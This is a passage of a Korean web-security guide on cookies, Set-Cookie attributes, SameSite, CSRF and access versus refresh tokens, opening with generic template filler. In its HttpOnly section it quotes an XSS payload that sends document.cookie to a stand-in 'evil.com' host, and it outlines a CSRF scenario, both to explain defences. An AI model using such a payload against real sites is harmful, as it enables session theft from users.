TL;DR

  • 웹 인증 토큰과 쿠키 보안 완전 가이드의 핵심 개념을 빠르게 파악할 수 있다.
  • 배경과 이유를 통해 왜 필요한지 맥락을 이해할 수 있다.
  • 특징과 상세 내용을 통해 실무 적용 포인트를 확인할 수 있다.

1. 개념

웹 인증 토큰과 쿠키 보안 완전 가이드의 핵심 정의와 문제 공간을 간단히 정리한다.

2. 배경

이 주제가 등장한 기술적·조직적 배경과 기존 접근의 한계를 설명한다.

3. 이유

왜 지금 이 방식을 채택해야 하는지, 기대 효과와 트레이드오프를 함께 정리한다.

4. 특징

핵심 동작 방식, 장단점, 적용 시 주의점을 빠르게 훑을 수 있도록 요약한다.

5. 상세 내용

웹 인증 토큰과 쿠키 보안 완전 가이드

작성일: 2026-03-05 범위: Login → Access Token / Refresh Token → HttpOnly Cookie → Set-Cookie → 저장 전략 → BFF 패턴 → DPoP → 대기업 구현 사례 → 2025-2026 트렌드 포함 내용: HttpOnly, Set-Cookie, SameSite, CSRF, XSS, JWT, Access Token, Refresh Token, Bearer Token, Opaque Token, PKCE, DPoP, BFF, FedCM, GNAP, mTLS, CHIPS, WebAuthn, Passkey, FIDO2, Token Rotation, Token Family, Proof-of-Possession, Sender-Constrained Token, OWASP, Zero Trust


목차

  1. 용어 사전
  2. Set-Cookie 헤더 완전 분석
  3. HttpOnly 쿠키 심층 분석
  4. Access Token vs Refresh Token
  5. 토큰 저장 전략 비교
  6. Refresh Token Rotation과 재사용 탐지
  7. BFF (Backend-for-Frontend) 패턴
  8. OAuth 2.0 DPoP (Proof-of-Possession)
  9. 대기업 인증 구현 사례
  10. 2025-2026 인증 트렌드
  11. OWASP 권장사항
  12. 실전 아키텍처 결정 가이드
  13. 키워드 색인

1. 용어 사전

┌──────────────────────────────────────────────────────────────────────────────┐
│                          웹 인증 핵심 용어 사전                              │
├────────────────────┬───────────────────────────┬─────────────────────────────┤
│ 영문 용어           │ 한국어 의미               │ 유래 / 비고                 │
├────────────────────┼───────────────────────────┼─────────────────────────────┤
│ HttpOnly           │ JS 접근 차단 쿠키 속성     │ MS IE6 SP1 (2002) 최초 도입 │
│ Set-Cookie         │ 서버→브라우저 쿠키 설정    │ RFC 2109 (1997) 최초 정의   │
│ SameSite           │ 동일 사이트 쿠키 전송 제한 │ Chrome 51 (2016) 최초 구현  │
│ CSRF               │ 사이트 간 요청 위조        │ Cross-Site Request Forgery  │
│ XSS                │ 사이트 간 스크립트 삽입     │ Cross-Site Scripting        │
│ JWT                │ JSON 웹 토큰              │ RFC 7519 (2015)             │
│ Access Token       │ 리소스 접근용 단기 토큰     │ OAuth 2.0 RFC 6749          │
│ Refresh Token      │ AT 재발급용 장기 토큰       │ OAuth 2.0 RFC 6749          │
│ Bearer Token       │ 소지자 인증 토큰           │ "소지한 자가 곧 인증자"      │
│ Opaque Token       │ 의미 없는 랜덤 문자열 토큰  │ 서버 측 조회 필수           │
│ PKCE               │ 코드 교환 증명 키           │ Proof Key for Code Exchange │
│ DPoP               │ 소유 증명 (토큰 바인딩)     │ Demonstration of PoP        │
│ BFF                │ 프론트엔드 전용 백엔드      │ Backend-for-Frontend        │
│ FedCM              │ 연합 자격 증명 관리 API     │ Federated Credential Mgmt   │
│ GNAP               │ 차세대 인가 프로토콜       │ Grant Negotiation & AuthZ   │
│ mTLS               │ 상호 TLS 인증              │ mutual TLS                  │
│ CHIPS              │ 독립 파티션 쿠키           │ Cookies Having Independent  │
│                    │                           │ Partitioned State           │
│ WebAuthn           │ 웹 인증 API               │ Web Authentication API      │
│ Passkey            │ 패스키 (비밀번호 대체)     │ FIDO Alliance 브랜드명      │
│ FIDO2              │ 생체/하드웨어 인증 표준     │ Fast IDentity Online 2      │
│ Token Rotation     │ 토큰 순환 (일회용 RT)      │ 사용 시 새 RT 발급          │
│ Token Family       │ 토큰 가족 (계보 추적)      │ 동일 세션 RT 그룹           │
│ Session Fixation   │ 세션 고정 공격             │ 공격자가 세션 ID 미리 설정   │
│ Proof-of-Possession│ 소유 증명                  │ 토큰과 키 쌍의 암호학적 결합 │
│ Sender-Constrained │ 발신자 제한 토큰           │ 특정 클라이언트만 사용 가능  │
│   Token            │                           │                             │
│ eTLD+1             │ 유효 최상위 도메인 +1      │ effective TLD + 1 label     │
│ Public Suffix List │ 공개 접미사 목록           │ Mozilla 관리 도메인 목록     │
└────────────────────┴───────────────────────────┴─────────────────────────────┘

2. Set-Cookie 헤더 완전 분석

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Set-Cookie 헤더 완전한 문법                               │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Set-Cookie: <name>=<value>                                                 │
│              [; Expires=<date>]                                              │
│              [; Max-Age=<seconds>]                                           │
│              [; Domain=<domain>]                                             │
│              [; Path=<path>]                                                 │
│              [; Secure]                                                      │
│              [; HttpOnly]                                                    │
│              [; SameSite=Strict|Lax|None]                                    │
│              [; Partitioned]                                                 │
│                                                                             │
│  예시:                                                                      │
│  Set-Cookie: __Host-Http-SID=abc123;                                        │
│              Max-Age=3600;                                                   │
│              Path=/;                                                         │
│              Secure;                                                         │
│              HttpOnly;                                                       │
│              SameSite=Strict                                                 │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

2.2 각 속성 상세 설명

Name=Value (필수)

┌─────────────────────────────────────────────────────────────────────────────┐
│  Name=Value                                                                 │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  - 유일한 필수 속성                                                         │
│  - Name: 제어 문자, 공백, 세미콜론, 등호 사용 불가                          │
│  - Value: 쌍따옴표로 감쌀 수 있음, 세미콜론/공백 포함 불가                   │
│                                                                             │
│  ⚠️  보안 주의:                                                             │
│  - 이름에 민감 정보 넣지 말 것 (쿠키 이름은 항상 노출)                       │
│  - 값은 URL 인코딩 권장 (특수 문자 안전 처리)                                │
│  - 최대 크기: 이름+값 합쳐서 4096 바이트 (브라우저 제한)                     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Expires vs Max-Age

┌─────────────────────────────────────────────────────────────────────────────┐
│  Expires vs Max-Age                                                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Expires:                                                                   │
│  ├── 절대 시간 (GMT 형식): Thu, 01 Jan 2099 00:00:00 GMT                    │
│  ├── 클라이언트 시계 기준 → 시계 오차(clock skew) 문제 발생 가능             │
│  └── HTTP/1.0 시절부터 사용된 레거시 방식                                    │
│                                                                             │
│  Max-Age:                                                                   │
│  ├── 상대 시간 (초 단위): Max-Age=3600 (1시간)                              │
│  ├── 쿠키 수신 시점부터 카운트다운 → 시계 오차 없음                          │
│  ├── Max-Age=0 → 즉시 삭제                                                  │
│  └── HTTP/1.1 (RFC 6265) 권장 방식                                          │
│                                                                             │
│  ⚡ 권장: Max-Age 사용                                                      │
│  ├── 시계 오차 문제 없음                                                    │
│  ├── 의미가 명확함 (3600초 = 1시간)                                         │
│  └── 둘 다 있으면 Max-Age가 우선 (RFC 6265 Section 5.3)                     │
│                                                                             │
│  둘 다 없으면? → Session Cookie (브라우저 닫으면 삭제)                       │
│  ⚠️  단, 현대 브라우저의 "세션 복원" 기능이 세션 쿠키를 유지할 수 있음       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Domain 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  Domain 속성                                                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  생략한 경우 (권장):                                                        │
│  ├── Host-Only Cookie → 정확히 해당 호스트만 전송                           │
│  ├── www.example.com 이 설정 → api.example.com 에 전송 안됨                 │
│  └── 가장 안전한 방식                                                       │
│                                                                             │
│  명시한 경우:                                                               │
│  ├── Domain=example.com → example.com 및 모든 서브도메인에 전송             │
│  ├── www.example.com, api.example.com, evil.example.com 모두 수신           │
│  └── 서브도메인 중 하나라도 침해되면 쿠키 탈취 가능                          │
│                                                                             │
│  ⚠️  보안 규칙:                                                             │
│  - Public Suffix (co.kr, github.io 등)에는 Domain 설정 불가                 │
│  - 상위 도메인에 대해 설정 불가 (sub.example.com이 example.com 설정 불가)    │
│  - __Host- 접두사 쿠키는 Domain 속성 설정 자체가 금지                       │
│                                                                             │
│  예시:                                                                      │
│  ┌───────────────────────────────────────────────────────┐                  │
│  │ Set-Cookie: sid=abc                                   │                  │
│  │   → Host-Only: www.example.com 에서만 전송            │                  │
│  │                                                       │                  │
│  │ Set-Cookie: sid=abc; Domain=example.com               │                  │
│  │   → *.example.com 모든 서브도메인에 전송              │                  │
│  └───────────────────────────────────────────────────────┘                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Path 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  Path 속성                                                                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  - Path=/api → /api, /api/users, /api/v2/data 등에만 전송                  │
│  - 기본값: 현재 요청 URL의 디렉토리 경로                                    │
│                                                                             │
│  ⚠️  Path는 보안 경계가 아님!                                               │
│  ├── 같은 Origin의 JS는 어떤 Path의 쿠키든 접근 가능                        │
│  ├── iframe + document.cookie 로 우회 가능                                  │
│  └── 보안 목적으로 의존하면 안됨 — 편의성 용도로만 사용                      │
│                                                                             │
│  권장: Path=/ (루트)로 설정하고 보안은 다른 속성에 의존                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Secure 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  Secure 속성                                                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  - HTTPS 연결에서만 쿠키 전송                                               │
│  - HTTP 요청에는 쿠키가 포함되지 않음                                        │
│  - 예외: localhost는 HTTP에서도 Secure 쿠키 설정/전송 가능 (개발 편의)       │
│                                                                             │
│  ⚡ 프로덕션에서는 반드시 설정할 것                                          │
│  - Secure 없이 HTTP로 전송되면 네트워크 스니핑으로 토큰 탈취 가능            │
│  - HSTS와 함께 사용하면 다운그레이드 공격도 방어                             │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

HttpOnly 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  HttpOnly 속성                                                              │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  - document.cookie API에서 해당 쿠키를 숨김                                 │
│  - JavaScript로 읽기/쓰기/삭제 불가                                         │
│  - HTTP 요청(fetch, XHR)의 Cookie 헤더에는 자동 포함                        │
│                                                                             │
│  동작 원리:                                                                 │
│  ┌──────────────────────────────────────────────────────────┐               │
│  │  서버 응답:                                              │               │
│  │  Set-Cookie: token=abc; HttpOnly                         │               │
│  │  Set-Cookie: theme=dark                                  │               │
│  │                                                          │               │
│  │  브라우저 JS 실행:                                       │               │
│  │  console.log(document.cookie)                            │               │
│  │  // 출력: "theme=dark"  (token은 보이지 않음!)           │               │
│  │                                                          │               │
│  │  fetch('/api/data', { credentials: 'include' })          │               │
│  │  // 요청 헤더: Cookie: token=abc; theme=dark             │               │
│  │  // (HttpOnly 쿠키도 자동 전송됨)                        │               │
│  └──────────────────────────────────────────────────────────┘               │
│                                                                             │
│  → 3장에서 심층 분석                                                        │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

SameSite 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  SameSite 속성                                                              │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  ┌──────────┬─────────────────────────────────────────────────────────┐     │
│  │ 값       │ 동작                                                    │     │
│  ├──────────┼─────────────────────────────────────────────────────────┤     │
│  │ Strict   │ 동일 사이트 요청에서만 전송                              │     │
│  │          │ 외부 링크 클릭으로 진입해도 쿠키 미전송                   │     │
│  │          │ → 최고 보안, 하지만 UX 불편 (외부 링크 진입 시 로그아웃) │     │
│  ├──────────┼─────────────────────────────────────────────────────────┤     │
│  │ Lax      │ 안전한 Top-Level Navigation에서만 전송                   │     │
│  │ (기본값) │ GET 링크 클릭 시 전송, POST/iframe/fetch 시 미전송       │     │
│  │          │ → Chrome 80+ 기본값, 실용적 보안/UX 균형                 │     │
│  ├──────────┼─────────────────────────────────────────────────────────┤     │
│  │ None     │ 모든 크로스 사이트 요청에서 전송                         │     │
│  │          │ 반드시 Secure 속성 필수                                  │     │
│  │          │ → 서드파티 임베드, 위젯 등에 사용                        │     │
│  └──────────┴─────────────────────────────────────────────────────────┘     │
│                                                                             │
│  ⚠️  Chrome 80 이전: 기본값이 None (모든 크로스사이트 요청에 전송)          │
│  ⚡ Chrome 80 이후 (2020.02): 기본값이 Lax로 변경                           │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Partitioned (CHIPS) 속성

┌─────────────────────────────────────────────────────────────────────────────┐
│  Partitioned (CHIPS - Cookies Having Independent Partitioned State)          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  서드파티 쿠키가 각 Top-Level Site별로 격리되어 저장                         │
│                                                                             │
│  기존 (파티션 없음):                                                        │
│  ┌────────────────┐  ┌────────────────┐                                     │
│  │  site-a.com    │  │  site-b.com    │                                     │
│  │  (embed.io)    │  │  (embed.io)    │                                     │
│  └───────┬────────┘  └───────┬────────┘                                     │
│          │                   │                                              │
│          └──────┬────────────┘                                              │
│                 ▼                                                            │
│         embed.io 쿠키: sid=xyz  ← 동일 쿠키, 사이트 간 추적 가능            │
│                                                                             │
│  CHIPS 적용 후:                                                             │
│  ┌────────────────┐  ┌────────────────┐                                     │
│  │  site-a.com    │  │  site-b.com    │                                     │
│  │  (embed.io)    │  │  (embed.io)    │                                     │
│  └───────┬────────┘  └───────┬────────┘                                     │
│          │                   │                                              │
│          ▼                   ▼                                              │
│  [site-a.com, embed.io]  [site-b.com, embed.io]                             │
│   sid=abc                 sid=xyz  ← 파티션별 별도 쿠키, 추적 불가           │
│                                                                             │
│  사용법:                                                                    │
│  Set-Cookie: __Host-embed=abc; SameSite=None; Secure; Path=/; Partitioned   │
│                                                                             │
│  요구사항: SameSite=None + Secure + __Host- 접두사 권장                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│                    쿠키 이름 접두사 시스템                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  1. __Secure- 접두사                                                        │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 요구 조건: Secure 속성 필수                                        │     │
│  │ 예시: __Secure-SESSIONID=abc; Secure; HttpOnly; SameSite=Lax      │     │
│  │ 용도: HTTPS에서만 전송됨을 보장                                    │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  2. __Host- 접두사                                                          │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 요구 조건: Secure 필수 + Domain 생략 + Path=/                      │     │
│  │ 예시: __Host-SESSIONID=abc; Secure; HttpOnly; Path=/              │     │
│  │ 효과: Host-Only (서브도메인 전송 불가) + 루트 경로 고정            │     │
│  │ 용도: Cookie Tossing 공격 방어 (서브도메인에서 쿠키 덮어쓰기 불가) │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  3. __Http- 접두사 (NEW - Chrome 140+, 2025)                                │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 요구 조건: Secure + HttpOnly 필수                                  │     │
│  │ 예시: __Http-TOKEN=abc; Secure; HttpOnly; SameSite=Strict         │     │
│  │ 효과: JS 접근 차단이 이름 수준에서 보장됨                          │     │
│  │ 용도: HttpOnly 누락 실수를 이름 접두사로 강제 방지                 │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  4. __Host-Http- 접두사 (NEW - 2025, 최대 보안)                             │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 요구 조건: Secure + HttpOnly + Domain 생략 + Path=/               │     │
│  │ 예시: __Host-Http-SID=abc; Secure; HttpOnly; Path=/;              │     │
│  │       SameSite=Strict                                             │     │
│  │ 효과: Host-Only + JS 차단 + HTTPS 전용 + 루트 경로 고정           │     │
│  │ 용도: 2025 기준 가장 강력한 쿠키 보안 계약                        │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  보안 수준 비교:                                                            │
│  __Host-Http- > __Host- > __Http- > __Secure- > (접두사 없음)              │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
# 최대 보안 세션 쿠키 (단일 도메인, 2025 최신)
Set-Cookie: __Host-Http-SESSIONID=abc123; Max-Age=3600; Path=/; Secure; HttpOnly; SameSite=Strict

# 멀티 서브도메인 세션 (www + api + admin 공유)
Set-Cookie: __Secure-SESSIONID=abc123; Max-Age=2592000; Domain=example.org; Path=/; Secure; HttpOnly; SameSite=Lax

# Refresh Token 전용 쿠키
Set-Cookie: __Host-Http-RT=opaque_token_xyz; Max-Age=604800; Path=/auth/refresh; Secure; HttpOnly; SameSite=Strict

# 서드파티 임베드용 (CHIPS)
Set-Cookie: __Host-embed=abc123; SameSite=None; Secure; Path=/; Partitioned

# CSRF 토큰 (JS에서 읽어야 하므로 HttpOnly 없음)
Set-Cookie: __Secure-XSRF-TOKEN=csrf_abc; Max-Age=3600; Path=/; Secure; SameSite=Lax

2.5 RFC 역사

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Set-Cookie RFC 변천사                                     │
├──────────┬──────────────────────────────────────────────────────────────────┤
│ 연도     │ 표준                                                            │
├──────────┼──────────────────────────────────────────────────────────────────┤
│ 1994     │ Netscape 쿠키 스펙 (비표준, 사실상 최초 구현)                    │
│ 1997     │ RFC 2109 - HTTP State Management Mechanism                      │
│          │ └── Set-Cookie2 제안 (실패, 브라우저 미구현)                     │
│ 2000     │ RFC 2965 - HTTP State Management Mechanism (개정)               │
│          │ └── 역시 Set-Cookie2, 실패                                      │
│ 2011     │ RFC 6265 - HTTP State Management Mechanism (현행)               │
│          │ └── Netscape 스펙을 공식화, Set-Cookie 표준화                    │
│ 2016     │ SameSite 속성 Chrome 51 최초 구현                               │
│ 2020     │ Chrome 80: SameSite=Lax 기본값                                  │
│ 2024     │ CHIPS (Partitioned) Chrome 안정 채널 출시                        │
│ 2025.12  │ draft-ietf-httpbis-rfc6265bis-22                                │
│          │ └── RFC 6265 후속, SameSite/Prefix/__Http- 공식화 진행 중       │
└──────────┴──────────────────────────────────────────────────────────────────┘

3. HttpOnly 쿠키 심층 분석

3.1 역사와 배경

┌─────────────────────────────────────────────────────────────────────────────┐
│                    HttpOnly 쿠키의 탄생                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  2002년: Microsoft Internet Explorer 6 SP1                                  │
│  ├── XSS를 통한 세션 하이재킹이 심각한 문제로 대두                           │
│  ├── MS가 독자적으로 HttpOnly 플래그 도입                                    │
│  ├── document.cookie에서 해당 쿠키를 숨기는 단순한 아이디어                  │
│  └── 다른 브라우저들이 점차 채택                                            │
│                                                                             │
│  2011년: RFC 6265에 공식 표준화                                             │
│  ├── Section 5.2.6: HttpOnly 속성 정의                                      │
│  ├── "non-HTTP API"에서의 접근을 제한                                        │
│  └── 사실상 모든 현대 브라우저에서 지원                                      │
│                                                                             │
│  타임라인:                                                                  │
│  2002 ──── 2006 ──── 2009 ──── 2011 ──── 2020 ──── 2025                    │
│   │         │         │         │         │         │                       │
│   IE6      Firefox   Chrome    RFC      SameSite   __Http-                  │
│   SP1      지원      지원      6265     기본 Lax   접두사                   │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

3.2 브라우저 적용 메커니즘

// 서버 응답 헤더
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// Set-Cookie: theme=dark
// Set-Cookie: lang=ko

// 브라우저 내부 쿠키 저장소 (개념적 구조)
// ┌──────────────┬──────────────┬──────────┐
// │ Name         │ Value        │ HttpOnly │
// ├──────────────┼──────────────┼──────────┤
// │ sessionId    │ abc123       │ true     │ ← JS 접근 차단
// │ theme        │ dark         │ false    │ ← JS 접근 허용
// │ lang         │ ko           │ false    │ ← JS 접근 허용
// └──────────────┴──────────────┴──────────┘

// JavaScript에서의 동작
console.log(document.cookie);
// 출력: "theme=dark; lang=ko"
// → sessionId는 보이지 않음!

// 쿠키 설정 시도
document.cookie = "sessionId=hacked";
// → 새로운 sessionId 쿠키가 생성되지만,
//   HttpOnly sessionId와는 별개 (서버에서 HttpOnly 플래그로 구분)

// HTTP 요청 시
fetch('/api/profile', { credentials: 'same-origin' });
// 요청 헤더: Cookie: sessionId=abc123; theme=dark; lang=ko
// → HttpOnly 쿠키도 자동으로 포함됨

3.3 HttpOnly가 보호하는 것과 보호하지 못하는 것

┌─────────────────────────────────────────────────────────────────────────────┐
│                    HttpOnly의 보호 범위                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  ✅ 보호하는 것:                                                            │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 1. XSS를 통한 세션 토큰 탈취                                      │     │
│  │    공격자가 <script>fetch('//evil.com?c='+document.cookie)</script>│     │
│  │    를 삽입해도 HttpOnly 쿠키는 읽히지 않음                         │     │
│  │                                                                    │     │
│  │ 2. 악성 브라우저 확장의 document.cookie 접근                       │     │
│  │    (단, 확장의 권한이 높으면 우회 가능)                            │     │
│  │                                                                    │     │
│  │ 3. Third-Party 스크립트(광고, 분석 등)의 쿠키 접근                 │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  ❌ 보호하지 못하는 것:                                                     │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 1. XSS 실행 자체                                                  │     │
│  │    → 토큰 못 훔쳐도 authenticated fetch로 API 호출 가능           │     │
│  │    → 페이지 변조, 키로거 삽입, 피싱 UI 렌더링 가능                │     │
│  │                                                                    │     │
│  │ 2. CSRF (Cross-Site Request Forgery)                              │     │
│  │    → HttpOnly 쿠키도 자동 전송됨 → SameSite로 별도 방어 필요      │     │
│  │                                                                    │     │
│  │ 3. 네트워크 스니핑 (MITM)                                         │     │
│  │    → HTTP 전송 시 Cookie 헤더에 평문 노출 → Secure 속성 필수      │     │
│  │                                                                    │     │
│  │ 4. 서버 사이드 취약점 (SQL Injection, SSRF 등)                    │     │
│  │    → HttpOnly는 클라이언트 측 방어만 담당                         │     │
│  │                                                                    │     │
│  │ 5. 브라우저 취약점 / 물리적 접근                                  │     │
│  │    → 쿠키 저장소 직접 접근 가능                                   │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  핵심 교훈:                                                                │
│  HttpOnly는 "심층 방어(Defense in Depth)"의 한 레이어일 뿐                  │
│  XSS 방어의 핵심은 입력 검증 + 출력 인코딩 + CSP                            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

3.4 SameSite 진화 과정

┌─────────────────────────────────────────────────────────────────────────────┐
│                    SameSite 속성 진화 타임라인                               │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Chrome 51 (2016.04):                                                       │
│  └── SameSite 속성 최초 구현, 기본값은 None                                 │
│                                                                             │
│  Chrome 76 (2019.07):                                                       │
│  └── SameSite=None에 Secure 필수 요구 시작                                  │
│                                                                             │
│  Chrome 80 (2020.02): ⚡ 중대 변경점                                        │
│  ├── 기본값 None → Lax로 변경                                               │
│  ├── SameSite 미설정 쿠키는 Lax로 동작                                      │
│  └── 120초 Lax+POST 유예 기간 도입 (아래 설명)                              │
│                                                                             │
│  Chrome 86 (2020.10):                                                       │
│  └── Schemeful Same-Site 도입                                               │
│      http://example.com ≠ https://example.com (다른 사이트 취급)            │
│                                                                             │
│  Chrome 118 (2023.10):                                                      │
│  └── CHIPS (Partitioned 쿠키) 안정화                                        │
│                                                                             │
│  Chrome 131 (2024.11):                                                      │
│  └── 서드파티 쿠키 제한 정책 조정                                           │
│                                                                             │
│  Chrome 140+ (2025):                                                        │
│  └── __Http- 쿠키 접두사 도입                                               │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

120초 Lax+POST 유예 기간 (보안 갭)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Lax+POST 유예 기간 문제                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Chrome 80에서 기본값을 Lax로 바꾸면서 호환성 문제 발생:                     │
│  - SSO 로그인 후 POST redirect가 쿠키 없이 도착 → 로그인 실패              │
│  - 결제 콜백(POST)이 쿠키 없이 도착 → 결제 완료 실패                       │
│                                                                             │
│  해결책: 쿠키 생성 후 120초(2분) 동안은 Lax여도 POST에 전송                 │
│                                                                             │
│  공격 시나리오:                                                             │
│  1. 피해자가 사이트에 로그인 (세션 쿠키 생성)                               │
│  2. 120초 내에 공격자 사이트 방문                                           │
│  3. 공격자가 자동 POST form 제출                                            │
│  4. 세션 쿠키가 전송됨 → CSRF 성공!                                        │
│                                                                             │
│  ⚠️  이것이 SameSite=Lax만으로 CSRF 방어가 불완전한 이유                    │
│  권장: 중요 작업에는 SameSite=Strict 또는 추가 CSRF 토큰 사용               │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Schemeful Same-Site

┌─────────────────────────────────────────────────────────────────────────────┐
│  Schemeful Same-Site (2021~)                                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  이전: http://example.com == https://example.com (같은 사이트)              │
│  이후: http://example.com ≠ https://example.com (다른 사이트!)              │
│                                                                             │
│  → HTTP 페이지에서 HTTPS API로의 요청은 크로스사이트로 취급                  │
│  → SameSite=Lax 쿠키가 전송되지 않음                                       │
│  → 모든 것을 HTTPS로 통일해야 하는 추가 이유                                │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

eTLD+1 정의와 Same-Site 판단

┌─────────────────────────────────────────────────────────────────────────────┐
│  eTLD+1 = effective Top-Level Domain + 1                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  eTLD(effective TLD)는 Public Suffix List(PSL)로 결정:                      │
│  https://publicsuffix.org/list/                                             │
│                                                                             │
│  ┌──────────────────────────┬────────┬──────────────────┐                   │
│  │ URL                      │ eTLD   │ eTLD+1           │                   │
│  ├──────────────────────────┼────────┼──────────────────┤                   │
│  │ www.example.com          │ .com   │ example.com      │                   │
│  │ api.example.com          │ .com   │ example.com      │                   │
│  │ shop.example.co.kr       │ .co.kr │ example.co.kr    │                   │
│  │ user1.github.io          │ .github.io │ user1.github.io│                  │
│  │ user2.github.io          │ .github.io │ user2.github.io│                  │
│  └──────────────────────────┴────────┴──────────────────┘                   │
│                                                                             │
│  Same-Site 판단: eTLD+1이 같으면 Same-Site                                  │
│  ├── www.example.com ↔ api.example.com → Same-Site (둘 다 example.com)     │
│  ├── user1.github.io ↔ user2.github.io → Cross-Site!                       │
│  │   (github.io가 PSL에 등록되어 있어 각각 독립 eTLD+1)                    │
│  └── example.com ↔ example.org → Cross-Site (다른 eTLD+1)                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

3.5 CSRF 방어 비교 테이블

┌─────────────────────────────────────────────────────────────────────────────┐
│              SameSite 값별 CSRF 공격 벡터 차단 비교                          │
├───────────────────┬──────────┬──────────┬──────────┬────────────────────────┤
│ 공격 벡터          │ Strict   │ Lax      │ None     │ 설명                  │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <a href> 클릭     │ ❌ 차단  │ ✅ 전송  │ ✅ 전송  │ Top-level GET nav     │
│ (GET 네비게이션)   │          │          │          │                       │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <form method=POST>│ ❌ 차단  │ ❌ 차단  │ ✅ 전송  │ Cross-site POST       │
│ 자동 제출          │          │ (주1)    │          │                       │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ fetch / XHR       │ ❌ 차단  │ ❌ 차단  │ ✅ 전송  │ JS 기반 크로스 요청   │
│ (credentials)     │          │          │          │                       │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <img src>         │ ❌ 차단  │ ❌ 차단  │ ✅ 전송  │ Sub-resource 요청     │
│ <script src>      │          │          │          │                       │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ <iframe>          │ ❌ 차단  │ ❌ 차단  │ ✅ 전송  │ 임베드 요청           │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ window.open +     │ ❌ 차단  │ ✅ 전송  │ ✅ 전송  │ Popup GET nav         │
│ GET 네비게이션     │          │          │          │                       │
├───────────────────┼──────────┼──────────┼──────────┼────────────────────────┤
│ 302 Redirect POST │ ❌ 차단  │ ❌ 차단  │ ✅ 전송  │ POST redirect         │
│                   │          │ (주1)    │          │                       │
├───────────────────┴──────────┴──────────┴──────────┴────────────────────────┤
│                                                                             │
│ (주1) Lax의 120초 유예 기간 내에는 POST도 전송됨 → 완전하지 않은 방어       │
│                                                                             │
│ 결론:                                                                       │
│ - SameSite=Strict: CSRF 완벽 차단, 하지만 외부 링크 진입 시 로그아웃 UX     │
│ - SameSite=Lax:    대부분 차단, 120초 유예 갭 존재                          │
│ - SameSite=None:   CSRF 방어 없음, 별도 CSRF 토큰 필수                     │
│                                                                             │
│ ⚡ 권장: SameSite=Strict (민감 작업) + SameSite=Lax (일반 세션)             │
│         + Custom Header 검증 (이중 방어)                                    │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

4. Access Token vs Refresh Token

4.1 핵심 비교

┌─────────────────────────────────────────────────────────────────────────────┐
│              Access Token vs Refresh Token 비교                              │
├──────────────────┬──────────────────────┬───────────────────────────────────┤
│ 항목              │ Access Token (AT)    │ Refresh Token (RT)              │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 목적              │ API 리소스 접근      │ 새 AT 발급                       │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
│ 일반적 수명       │ 5~15분 (2025 권장)   │ 7~30일                          │
├──────────────────┼──────────────────────┼───────────────────────────────────┤
